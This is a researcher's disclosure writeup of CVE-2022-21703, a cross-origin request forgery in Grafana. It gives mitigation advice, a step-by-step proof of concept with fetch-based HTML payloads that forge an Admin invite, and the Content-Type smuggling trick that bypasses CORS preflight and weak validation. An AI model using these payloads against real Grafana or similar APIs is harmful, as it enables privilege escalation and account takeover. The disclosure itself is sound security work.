This post is a writeup about CVE-2022-21703, which is the result of a collaborative effort between bug-bounty hunter abrahack and me. If you use or intend to use Grafana, you should at least read the following section.

CVE-2022-21703 in a nutshell

About Grafana

Grafana is a popular open-source tool that describes itself thus:

Grafana allows you to query, visualize, alert on and understand your metrics no matter where they are stored. Create, explore, and share beautiful dashboards with your team and foster a data driven culture.

Grafana Labs offers managed Grafana instances, but you can also deploy Grafana as a self-hosted instance. An indicator of its popularity is that recent versions of such widely used tools as Gitlab and SourceGraph ship with Grafana.

Core findings

  • Grafana (prior to v7.5.15, as well as v8.x.x versions prior to v8.3.5) is vulnerable to cross-origin request forgery.
  • All GET- and POST-based endpoints of Grafana’s HTTP API are affected.
  • By leveraging some same-site vulnerability, an anonymous attacker can, for example, trick an authenticated high-privilege Grafana user into escalating the attacker’s privileges on the targeted Grafana instance.
  • Grafana instances that have been configured to allow frame embedding of authenticated dashboards are at increased risk of cross-origin attacks.

Mitigation

Regardless of your situation and mitigation approach, you should subsequently audit your Grafana instances for suspicious activity. Attackers aware of the possibility of cross-origin attacks may have already carried such attacks against your Grafana instances.

Update Grafana

If you can, update your Grafana instance to v7.5.15 or v8.3.5. At the time of writing this post, I have not had the opportunity to review Grafana’s fix, but it should protect you from CVE-2022-21703, regardless of your configuration.

In case you cannot update

If you cannot update Grafana immediately, efficient protection against CVE-2022-21703 is more difficult to achieve. Consider blocking all cross-origin requests against your Grafana instance at the reverse-proxy level; I’m conscious this isn’t possible in all cases, though.

If, perhaps in order to enable frame embedding of your Grafana dashboards, you’ve deviated from Grafana’s default configuration and have set

you’re at increased risk, because attacks are viable from any origin (not just from same-site origins). In that case, take these measures:

  1. Consider hiding your Grafana instance behind a VPN. That won’t stop cross-origin attackers if they already know where your Grafana instance lives, but desperate times call for desperate measures like security through obscurity.
  2. Warn your staff of possible phishing attacks in the coming days.
  3. Continually monitor sensitive activity in your Grafana instance (addition of high-privilege users, etc.).

If you’ve set the cookie_samesite property to disabled, warn your Grafana users to avoid browsers that don’t yet default to Lax for the SameSite cookie attribute (Safari, most notably); favour Chromium-based browsers or Firefox.

If the cookie_samesite property is set to lax (default) or strict, you should scrutinise the security of your subdomains. Rule out the possibility of cross-site scripting (XSS) or subdomain takeover on all Web origins that are same-site with respect to the Web origin where your Grafana instance lives.

More details

Genesis of our research

Inspired by recent vulnerabilities found in Grafana, especially Justin Gardner’s full-read SSRF (CVE-2021-13379) and Jordy Versmissen’s path traversal (CVE-2021-43798), we decided to hunt for hitherto overlooked security bugs in the popular visualisation tool. Where should we look first?

Several influential infosec figures (Troy Hunt, most notably) were quick to pronounce cross-site request forgery (CSRF) dead, as both Chromium and Firefox started to default to Lax for the value of the SameSite cookie attribute. In my experience, though, this announcement is, at best, an approximation; at worst, a deceptive and harmful exaggeration.

In particular, the recent shift in meaning experienced by the term site has complicated the discourse about cross-origin attacks. Back in the day when the term cross-site request forgery was coined, site did not have the more precise meaning it now enjoys. CSRF was an umbrella term for all state-changing request-forgery attacks issued from a different Web origin. Many practitioners still use CSRF in that way, often omitting to mention that the SameSite cookie attribute was only ever intended as a defence-in-depth mechanism and that it is powerless against cross-origin, same-site attacks. I’ve written extensively about this topic in one of my earlier blog posts.

Another source of frequent confusion is cross-origin resource sharing (CORS), a protocol for selectively relaxing some of the Same-Origin Policy’s restrictions. Many developers notoriously do not have a firm grasp of CORS, and incorrect assumptions about that protocol are fodder for cross-origin abuse by more savvy attackers.

These considerations about SameSite and CORS naturally led us to scrutinise Grafana’s defences against cross-origin attacks.

A proof of concept

The proof of concept below demonstrates that, by mounting a same-site attack against a Grafana instance using the default configuration, an attacker can trick the Grafana Admin into inviting the attacker as an Organization Admin.

  1. Run a local instance of Grafana Enterprise (<= v8.3.4) in Docker; I’m binding it to port 3000, in this case: 
    docker run -d -p 3000:3000 grafana/grafana-enterprise:8.3.2
  2. As the victim, visit http://localhost:3000/login and authenticate as the Grafana Admin (admin) with the default password (admin). Grafana will prompt you to reset the password; you can safely skip this step. You should now be logged in as the Grafana Admin.
  3. Visit http://localhost:3000/org/users; at this stage, there should be no pending user invites listed on that page.
  4. Save the following malicious code snippet to a file named index.html: 
    <!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <script>
      function csrf(name, email) {
        const url = "http://localhost:3000/api/org/invites";
        const data = {
          "name": name,
          "loginOrEmail": email,
          "role": "Admin",
          "sendEmail": false
        };
        const opts = {
          method: "POST",
          mode: "no-cors",
          credentials: "include",
          headers: {"Content-Type": "text/plain; json"},
          body: JSON.stringify(data)
        };
        fetch(url, opts);
      }
      csrf("attacker", "attacker@example.com");
    </script>
  </body>
</html>
  5. As the victim, open file index.html in the same browser. Observe that the page issues a request to http://localhost:3000/api/org/invites that does not carry the grafana_session cookie, because the issuing origin (null) is not same-site with respect to the destination origin (http://localhost:3000). Therefore, the server responds with a 401 Unauthorized response, and the attack fails.
  6. Now bind a HTTP server to a different port (8081, here) on localhost in order to serve the same malicious page. If Go is installed on your machine, you can simply save the following code snippet to a file named main.go (in the same folder as index.html), 
    package main

import "net/http"

func main() {
  http.Handle("/", http.FileServer(http.Dir(".")))
  http.ListenAndServe(":8081", nil)
}
    and then start that server by running 
    go run main.go
  7. As the victim, visit http://localhost:8081. Observe that, this time (contrary to step 5 of this PoC), the forged request to http://localhost:3000/api/org/invites does carry the grafana_session cookie, because the issuing origin (http://localhost:8081) is same-site with respect to the destination origin (http://localhost:3000). The server responds with a 200 OK response, an indication that the attack succeeded.
  8. Confirm the attack’s success by revisiting http://localhost:3000/org/users; there should now be a new pending user invite for the attacker.

Unconvinced?

This local proof of concept may not be enough to convince you of the attack’s viability in a more realistic scenario. In that case, follow the same steps but, instead,

  • deploy Grafana to a secure origin that you control (e.g. https://grafana.example.com), and
  • deploy the malicious page to some same-site origin (e.g. https://attack.example.com).

Root-cause analysis

The possibility of cross-origin request forgery against Grafana mainly stems from an overreliance on the SameSite cookie attribute, weak content-type validation, and incorrect assumptions about CORS.

SameSite and its limitations

Any forged request against the Grafana API needs to be authenticated to be useful. Unfortunately for attackers, Grafana has been explicitly marking its grafana_session cookie as SameSite=Lax by default since v6.0. As a result, the request forged by the attacker will only carry the grafana_session cookie if it fulfils either of the following two conditions:

  1. be a top-level navigation, or
  2. be a same-site request.

The first condition limits the attacker to GET requests. Grafana’s HTTP API does feature some GET-based state-changing endpoints (e.g. /logout), but their impact is typically too low to be interesting to attackers.

You may perceive the second condition as a tall order. If you do, you’d surprised by the sheer number of organisations—even ones with an active bug-bounty programme—that are quite content to live with some XSS vulnerability or a potential subdomain takeover on some obscure (and possibly out-of-scope) subdomain. We identified multiple such bug-bounty targets during our research, and we surely cannot lay claim to exhaustiveness…

Besides, some Grafana admins may choose to relax Grafana’s default SameSite value and configure their instance so as to allow frame embedding of authenticated dashboards, by setting

Such Grafana instances are vulnerable to good old CSRF. The attacker’s malicious page can indeed be hosted on any origin, because all requests to the Grafana API will carry the precious authentication cookie, regardless of the request’s issuing origin.

Finally, some Grafana administrators may choose to set the cookie_samesite property to disabled, in order to omit the SameSite attribute when setting the authentication cookie. People who authenticate to such Grafana instances in Safari are also at risk of CSRF, because Safari still defaults to None for the SameSite attribute.

Interestingly, Grafana developers seemed aware that SameSite alone provided insufficient protection against cross-origin attacks. Subsequently to the v6.0 release, they actually opened a pull request in a bid to add anti-CSRF tokens, only to reverse course and ultimately abandon that PR, against well-founded objections in a later comment.

Bypassing content-type validation and avoiding CORS preflight

Our initial attempts at cross-origin request forgery against Grafana involved an auto-submitting HTML form:

<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <form action="http://localhost:3000/api/org/invites" method="POST">
      <input name="name" value="attacker">
      <input name="loginOrEmail" value="attacker@example.com">
      <input name="role" value="Admin">
      <input name="sendEmail" value="false">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

This form submission resulted in a 422 Unprocessable Entity with the following JSON body:

[{
  "fieldNames": ["LoginOrEmail"],
  "classification": "RequiredError",
  "message":"Required"
}]

This error message was a bit puzzling to us, because the loginOrEmail field was present in the body of our forged request. Overriding the form’s default enctype with multipart/form-data yielded the same response. An enctype of text/plain yielded a 415 Unsupported Media Type, though. Interesting… Was that a sign that the Grafana API only accepted JSON requests? The next step in our black-box tests involved using the Fetch API to issue a simple request with a valid JSON body:

<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <script>
      function csrf(name, email) {
        const url = "http://localhost:3000/api/org/invites";
        const data = {
          "name": name,
          "loginOrEmail": email,
          "role": "Admin",
          "sendEmail": false
        };
        const opts = {
          method: "POST",
          mode: "no-cors",
          credentials: "include",
          body: JSON.stringify(data)
        };
        fetch(url, opts);
      }
      csrf("attacker", "attacker@example.com");
    </script>
  </body>
</html>

The corresponding response was, like the form-based attack with text/plain, a 415 Unsupported Media Type. Evidently, the Grafana API was performing some validation of requests’ content type. To confirm our intuition, we pasted the following code—pay attention to line 13—in the Console tab of the browser window in which we were authenticated to Grafana:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

function csrf(name, email) {
  const url = "http://localhost:3000/api/org/invites";
  const data = {
    "name": name,
    "loginOrEmail": email,
    "role": "Admin",
    "sendEmail": false
  };
  const opts = {
    method: "POST",
    mode: "no-cors",
    credentials: "include",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify(data)
  };
  fetch(url, opts);
}
csrf("attacker", "attacker@example.com");

The response was a 200 OK, and our hearts sank… This response confirmed our suspicion that the API was expecting a content type of application/json, or at least something like it. Because we were executing the attack in the context of our Grafana instance’s Web origin, the attack was successful, but we knew that things wouldn’t be quite as simple if the same attack were performed from a different (even if same-site) origin.

Why? Because, according to the Fetch standard, a value of application/json for the content type of a cross-origin request is indeed such as to cause browsers to trigger CORS preflight; and Grafana, much to the chagrin of some of its users, is not configured or configurable for CORS. Therefore, CORS preflight would fail, and the browser would never send the actual (malicious) request. We had seemingly hit a brick wall… but there was one last glimmer of hope!

You may have read that including a Content-Type header with a value other than

  • application/x-www-form-urlencoded,
  • multipart/form-data, or
  • text/plain

in a request will trigger CORS preflight. In fact, until recently, such an authoritative source as MDN Web Docs stated as much. Over the years, this statement has been repeatedly echoed verbatim on the Web, including in some highly upvoted answers on Stack Overflow.

However, this statement is incorrect; the Fetch standard only requires that the essence of the MIME type specified as the request’s content type be one of those three values. A little known fact is that you can actually smuggle additional stuff in the MIME type’s parameters without triggering CORS preflight. And if the server’s content-type validation happens to be weak, an attacker can use this smuggling trick to bypass it.

With our fingers crossed, we modified our same-site attack and implemented this trick (see line 20):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <script>
      function csrf(name, email) {
        const url = "http://localhost:3000/api/org/invites";
        const data = {
          "name": name,
          "loginOrEmail": email,
          "role": "Admin",
          "sendEmail": false
        };
        const opts = {
          method: "POST",
          mode: "no-cors",
          credentials: "include",
          headers: {"Content-Type": "text/plain; application/json"},
          body: JSON.stringify(data)
        };
        fetch(url, opts);
      }
      csrf("attacker", "attacker@example.com");
    </script>
  </body>
</html>

We got a 200 OK response, and the /org/users page listed a new invite in the attacker’s name! Success!

Before reporting our findings to Grafana, we decided to dig deeper and inspect Grafana’s codebase to understand what exactly was going on. Grafana, up until v8.3.2, relied on go-macaron/binding to process requests. Here is the relevant function, named bind:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

func bind(ctx *macaron.Context, obj interface{}, ifacePtr ...interface{}) {
  contentType := ctx.Req.Header.Get("Content-Type")
  if ctx.Req.Method == "POST" || ctx.Req.Method == "PUT" || len(contentType) > 0 {
    switch {
    case strings.Contains(contentType, "form-urlencoded"):
      ctx.Invoke(Form(obj, ifacePtr...))
    case strings.Contains(contentType, "multipart/form-data"):
      ctx.Invoke(MultipartForm(obj, ifacePtr...))
    case strings.Contains(contentType, "json"):
      ctx.Invoke(Json(obj, ifacePtr...))
    default:
      var errors Errors
      if contentType == "" {
        errors.Add([]string{}, ERR_CONTENT_TYPE, "Empty Content-Type")
      } else {
        errors.Add([]string{}, ERR_CONTENT_TYPE, "Unsupported Content-Type")
      }
      ctx.Map(errors)
      ctx.Map(obj) // Map a fake struct so handler won't panic.
    }
  } else {
    ctx.Invoke(Form(obj, ifacePtr...))
  }
}

Observe (at lines 9-10) that a request whose content type merely contains the string json gets accepted and that JSON deserialisation of the request’s body proceeds normally. Go developers, if you need to validate the Content-Type header, do favour the more specialised mime.ParseMediaType function over strings.Contains and friends!

Note: Grafana v8.3.3 actually ripped out go-macaron/binding altogether from its codebase, and doesn’t perform any validation of requests’ content-type. Even easier for attackers!

Timeline

  • November 2021: beginning of my collaboration with abrahack
  • late December 2021: first working proof of concept for cross-origin request forgery against Grafana
  • early January 2022: We research the attack’s viability against bug-bounty targets.
  • 18th of January 2022:
    • We share our findings with Grafana Labs.
    • We file a report to Gitlab’s bug-bounty programme on HackerOne.
    • Grafana Labs acknowledges our report and kindly ask us not to disclose our findings until they have a fix in their pipeline.
  • 20th of January 2022: Grafana Labs notify us that they have requested CVE-2022-21703.
  • 21st of January 2022:
    • We enlist Nagli’s help to find more viable targets.
    • We escalate the attack to full account takeover on Gitlab, which we report to them.
    • Gitlab closes our report as “informative” 🤷
  • 8th of February 2022:
    • Grafana Labs release a security fix for CVE-2022-21703 in Grafana v7.5.15 and v8.3.5.
    • Publication of the present blog post.
    • We resume notifying bug-bounty targets.